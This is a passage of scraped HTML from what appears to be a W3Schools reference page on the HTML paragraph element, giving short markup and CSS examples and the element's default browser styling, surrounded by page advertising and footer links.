id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>html<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>style<span class="tagcolor" style="color:mediumblue">></span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/style<span class="tagcolor" style="color:mediumblue">></span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>body<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/body<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/html<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p> More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan"><p></code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>help@w3schools.com</p> <br> <!-- <h2>Your Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified »</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> 